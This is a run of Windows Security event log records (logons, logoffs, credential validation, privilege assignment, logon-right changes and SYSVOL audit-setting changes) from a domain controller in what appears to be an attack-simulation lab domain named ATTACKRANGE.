OpCode=Info
RecordNumber=247949
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1A269E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247948
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247947
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247946
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18C5DA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4717
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247966
Keywords=Audit Success
Message=System security access was granted to an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS

Access Granted:
	Access Right:		SeNetworkLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4717
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247965
Keywords=Audit Success
Message=System security access was granted to an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS

Access Granted:
	Access Right:		SeInteractiveLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4717
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247964
Keywords=Audit Success
Message=System security access was granted to an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		BUILTIN\Print Operators

Access Granted:
	Access Right:		SeInteractiveLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4717
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247963
Keywords=Audit Success
Message=System security access was granted to an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		BUILTIN\Account Operators

Access Granted:
	Access Right:		SeInteractiveLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4718
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247962
Keywords=Audit Success
Message=System security access was removed from an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		BUILTIN\Users

Access Removed:
	Access Right:		SeNetworkLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4717
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247961
Keywords=Audit Success
Message=System security access was granted to an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		BUILTIN\Pre-Windows 2000 Compatible Access

Access Granted:
	Access Right:		SeNetworkLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4717
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247960
Keywords=Audit Success
Message=System security access was granted to an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		NT AUTHORITY\Authenticated Users

Access Granted:
	Access Right:		SeNetworkLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4717
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247959
Keywords=Audit Success
Message=System security access was granted to an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		BUILTIN\Server Operators

Access Granted:
	Access Right:		SeInteractiveLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4718
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247958
Keywords=Audit Success
Message=System security access was removed from an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		BUILTIN\Backup Operators

Access Removed:
	Access Right:		SeNetworkLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4718
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247957
Keywords=Audit Success
Message=System security access was removed from an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		BUILTIN\Remote Desktop Users

Access Removed:
	Access Right:		SeRemoteInteractiveLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4718
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Authentication Policy Change
OpCode=Info
RecordNumber=247956
Keywords=Audit Success
Message=System security access was removed from an account.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Account Modified:
	Account Name:		BUILTIN\Users

Access Removed:
	Access Right:		SeInteractiveLogonRight
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247955
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1B68F6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247954
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1B68F6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247953
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247952
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247951
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1A269E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247967
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFB45

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247974
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SYSVOL\sysvol
	Handle ID:	0x54c

Process Information:
	Process ID:	0x34c
	Process Name:	C:\Windows\System32\services.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;OICISA;SD;;;WD)
03/11/2021 11:43:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247973
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SYSVOL\sysvol\attackrange.local
	Handle ID:	0x3a8

Process Information:
	Process ID:	0x34c
	Process Name:	C:\Windows\System32\services.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;OICIIDSA;SD;;;WD)
03/11/2021 11:43:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247972
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SYSVOL\domain
	Handle ID:	0x54c

Process Information:
	Process ID:	0x34c
	Process Name:	C:\Windows\System32\services.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SA;SD;;;WD)
03/11/2021 11:43:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247971
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SYSVOL\domain\scripts
	Handle ID:	0x54c

Process Information:
	Process ID:	0x34c
	Process Name:	C:\Windows\System32\services.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SA;SD;;;WD)
03/11/2021 11:43:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247970
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SYSVOL\domain\Policies
	Handle ID:	0x54c

Process Information:
	Process ID:	0x34c
	Process Name:	C:\Windows\System32\services.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SA;SD;;;WD)
03/11/2021 11:43:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247969
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SYSVOL\domain\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
	Handle ID:	0x54c

Process Information:
	Process ID:	0x34c
	Process Name:	C:\Windows\System32\services.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SA;SD;;;WD)
03/11/2021 11:43:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247968
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SYSVOL\domain\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
	Handle ID:	0x54c

Process Information:
	Process ID:	0x34c
	Process Name:	C:\Windows\System32\services.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SA;SD;;;WD)
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247988
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4C62

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247987
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A882

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247986
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4C62

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247985
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4C62
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247984
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247983
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247982
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4C32

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247981
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4C32

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247980
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4C32
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247979
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247978
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247977
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
